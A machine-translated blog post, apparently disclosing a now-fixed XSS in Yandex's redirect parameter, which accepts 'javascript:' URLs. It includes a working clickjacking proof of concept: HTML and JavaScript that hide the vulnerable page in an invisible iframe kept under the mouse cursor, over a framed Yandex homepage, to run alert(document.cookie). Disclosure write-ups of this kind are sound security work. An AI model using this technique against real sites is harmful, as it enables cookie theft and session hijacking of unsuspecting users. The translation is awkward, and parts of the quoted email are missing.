YandexでXSSをスピンします(修正済み)





こんにちは、ホーカーズ!



今日、私はネットワークを歩き回り、首都の天気を見るためにYandexに行きました。 「別の都市」ボタンをクリックすると、Yandexはここにリダイレクトしまし 。 このようなアドレスを見た人は誰でも、パラメータの1つ、またはむしろリパスを置き換えたいと思っています。 :)私は標準を入れました
"><script>alert('xss');</script>
      
      



そしてソースに登り、何がフィルタリングされ、何がフィルタリングされないかを見てください。 これがソースの行です。
 <span onclick="return {'b\-form\-button':{name:'b\-form\-button', 'retpath': &quot;\&quot;&gt;&lt;script&gt;alert('xss')&quot;}}"
      
      



まあ、退屈だと思う-すべてがフィルタリングされます。 それから彼はより詳しく見て、Yandexは最初にURLにプロトコルを追加しないことに気付きました。 導入されました
 javascript: alert('xss');
      
      



-動作します! ただし、残念ながら、「戻る」ボタンをクリックした場合のみです。 あなたはそれを試すことができます。 もうおもしろいので、さらに掘り下げて...







(教育目的で作成および提供された資料。)



それでは、ユーザーが「戻る」をクリックしていることをユーザーが知らないようにするために、何をする必要がありますか? -そうです。 このページをiframeに配置し、スタイルを追加し、ページ上の任意の要素の上に透過的に配置する必要があります。 オプションをフレームで試してみます-動作しません。 Yandexは、サイトがフレーム内で開いているかどうかを確認し、親ウィンドウ(ブラウザー)をYandexにリダイレクトします。 この問題を解決するには? html5でのみ導入されたiframeのサンドボックス属性を見つけました。 そして彼は単にユーザーのリダイレクトを禁止しましたが、この方法はChromeでのみ機能し、フレーム全体のコンテンツをブロックしていました。



気分はすでに悪化し始めていたので、他の場所でretpathが使用されている場所を探すことにしました。そのような脆弱性がある場所にある場合、別の場所にあるからです。 辞書とヘルプでカップルを見つけましたが、戻るボタンはありませんでした。 次に、パラメーターを正しく変更しなかったため、Yandexからここに送ら 、ここですべてが開始されました。



したがって、 urlパラメーターを
 javascript:alert('ahoy!');
      
      



リンクをクリックします。 うまくいく! ここで、脆弱性を持つアドレスをiframeに配置しようとします。 やった! チェックはありません。 試してみる 。 よし、進みましょう。



次に、必要なスタイルをiframeに追加する必要があります。 私はこれを行うことにしました:脆弱性のあるiframeを小さな(100x20)div内に配置し、ユーザーにリンクだけが見えるようにiframeを移動します(クリックします:)。



 <!DOCTYPE html> <html> <head> <style type="text/css"> body { margin:0; padding:0; } #helper { position: absolute; overflow: hidden; width: 200px; height: 13px; } #ifr { position: relative; top: -180px; left: -58px; } </style> </head> <body> <div id="helper"> <div style="width: 100%; height: 300px"> <iframe id="ifr" src="http://yandex.ru/redir_warning/?url=javascript:alert(document.cookie)" width="1000px" height="300" frameborder="no" scrolling="no" ></iframe> </div> </div> </body> </html>
      
      







完了しましたが、なんとなく退屈です! ユーザーに何も疑わないようにしたい。 どうやってやるの? 興味深い質問です。 最初に頭に浮かんだのは、 ヘルパー要素をマウスの後ろに移動した場合です。 これは、ユーザーが特定の場所をクリックする必要がなくなったことを意味します。 彼がクリックするたびに、スクリプトが実行されます。 私はコードをもたらします:

  var el; window.onload = function() { var ifr = document.getElementById("ifr"); //      if(navigator.userAgent.toLowerCase().indexOf("webkit") != -1) { ifr.style.top = "-180px"; } else { ifr.style.top = "-190px"; } el = document.getElementById("helper"); window.onmousemove = onmove; } function onmove(e) { el.style.left = (e.pageX - 50) + "px"; el.style.top = (e.pageY - 12) + "px"; return false; }
      
      





そして、メインのYandexからの大きくて目に見える電子メールを開き、ユーザーが自分がまだそこにいると考えます。 :)

 <iframe id="yandex" src="http://yandex.ru/" width="100%" height="100%" frameborder="no"></iframe>
      
      





いいね! Yandexでは、フレーム内でグランページを開くことができます。



要素のzIndexを変更し、ヘルパーを非表示にし、Yandexフレームに重なり、フレーム間の競合を回避する透明なDIVを追加します。



  <div id="overlay"></div>
      
      





 #helper { z-index: 20000; opacity: 0; } #yandex { z-index: 10; } #overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 20; }
      
      







準備ができた例。

どのように機能しますか?



(リンクはアラートを実行します(document.cookie))



あなたが私の記事を楽しんでくれたことを願っています。 コメントさせていただきます。



20:30の時点で、脆弱性はカバーされています。Yandexにとって、脆弱性の修正速度が非常に速いことは非常にうれしいです。 Yandexからメールへ:



  , !          ,      .    . --  , ...    http://help.yandex.ru/
      
      






All Articles